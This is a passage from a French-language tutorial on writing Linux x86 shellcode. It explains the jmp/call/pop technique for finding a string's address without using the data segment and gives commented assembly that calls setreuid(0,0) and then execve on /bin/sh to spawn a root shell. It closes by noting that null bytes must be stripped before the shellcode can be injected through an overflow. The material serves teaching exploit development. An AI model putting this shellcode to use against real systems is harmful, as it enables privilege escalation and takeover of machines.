Ne pas utiliser le segment data
Nous avons réussi à écrire un programme qui fait apparaître un shell à l'écran, root s'il en a la possibilité, ce
qui n'est déjà pas si mal. Maintenant, il faut régler le problème de l'utilisation des segments de mémoire dont on
ne doit pas se servir pour le bon fonctionnement du shellcode.
En fait, il faut déclarer la string dans le code (ce que nous savons faire et que nous avons par exemple appliqué dans
la partie sur le faux désassemblage). Le problème est de connaître l'adresse de cette chaîne de caractères.
Puisque nous ne connaissons pas l'adresse à laquelle va se trouver le shellcode, il faut que l'on soit capable de situer
notre variable par rapport à l'EIP (Extended Instruction Pointer). Pour ce, il nous suffit au final d'utiliser les appels
jump et call.
L'appel jump change l'adresse de l'EIP vers une adresse de notre choix. Call fait la même chose, mais en plus, il ajoute l'adresse
de retour sur la pile où doit retourner EIP une fois l'appel terminé : cela nous suffit donc pour remplir notre objectif. En effet,
si nous déclarons la chaine à la fin du programme, que nous utilisons une instruction jmp pour arriver à l'adresse de la chaine puis une
instruction call, le fond de la pile ne sera rien d'autre que l'adresse de la chaine, qu'il nous suffit de popper de la pile et de placer
dans une variable. Nous avons donc simplement utilisé ce "tour de passe-passe" dans la pile dans le code suivant
pour produire quelque chose qui ressemble réellement à un bytecode digne de ce nom.
Bytecode primaire de shellcode
Voici donc le code de la partie précédente où nous avons appliqué le principe énoncé :
;shellcode.asm
mov eax,70 ;on mets eax à 70 pour préparer l'appel à setreuid
mov ebx,0 ;real uid 0 => root
mov ecx,0 ;effective uid 0 => root
int 0x80 ;Syscall 70
jmp chaine ;On va au label <chaine>
retour: ;On arrive ici après le call : le fond de la pile est l'adresse de retour du call, donc l'adresse de cheminshell pop ebx ;On enlève cette adresse de la pile (avec pop) et on la place dans ebx
mov eax,0 ;on mets 0 dans eax
mov [ebx+7],al ;on mets le 0 (de eax) 7 caractères après le début de la chaîne
;en fait, on réécrit le 0 de la chaine avec un nul byte
;al occupe 1 byte
mov [ebx+8],ebx ;on mets l'addresse de la chaine 8 caractères après son début
;En fait, on réécrit aaaa par l'adresse de cheminshell
mov [ebx+12],eax ;12 caractères après le début, on mets les 4 bytes de eax
;en fait, on réécrit bbbb par 0x00000000
mov eax,11 ;on mets eax à 11 pour préparer l'appel à execve
lea ecx,[ebx+8] ;on charge l'adresse de (anciennement) aaaa dans ecx
lea edx,[ebx+12] ;on charge l'adresse de (anciennement) bbbb dans edx
int 0x80 ;Syscall 11
chaine: ;label chaine où on arrive après le jump call retour ;On retourne au label retour en mettant l'adresse de la prochaine instruction (cheminshell) dans la pile cheminshell db "/bin/sh0aaaabbbb"
Puisqu'il n'y a plus de segments, nous ne pouvons lancer le programme et démontrer l'utilisation de cette technique,
il nous faudra attendre l'utilisation finale du shellcode pour le vérifier.
Examinons maintenant le bytecode obtenu à l'aide d'hexedit :
On remarque les nombreux 00. Or, un 00 dans un shellcode injecté terminerait la chaîne et donc le dépassement de mémoire,
c'est pourquoi nous devons dans une dernière étape supprimer tous les bytes nuls de ce bytecode.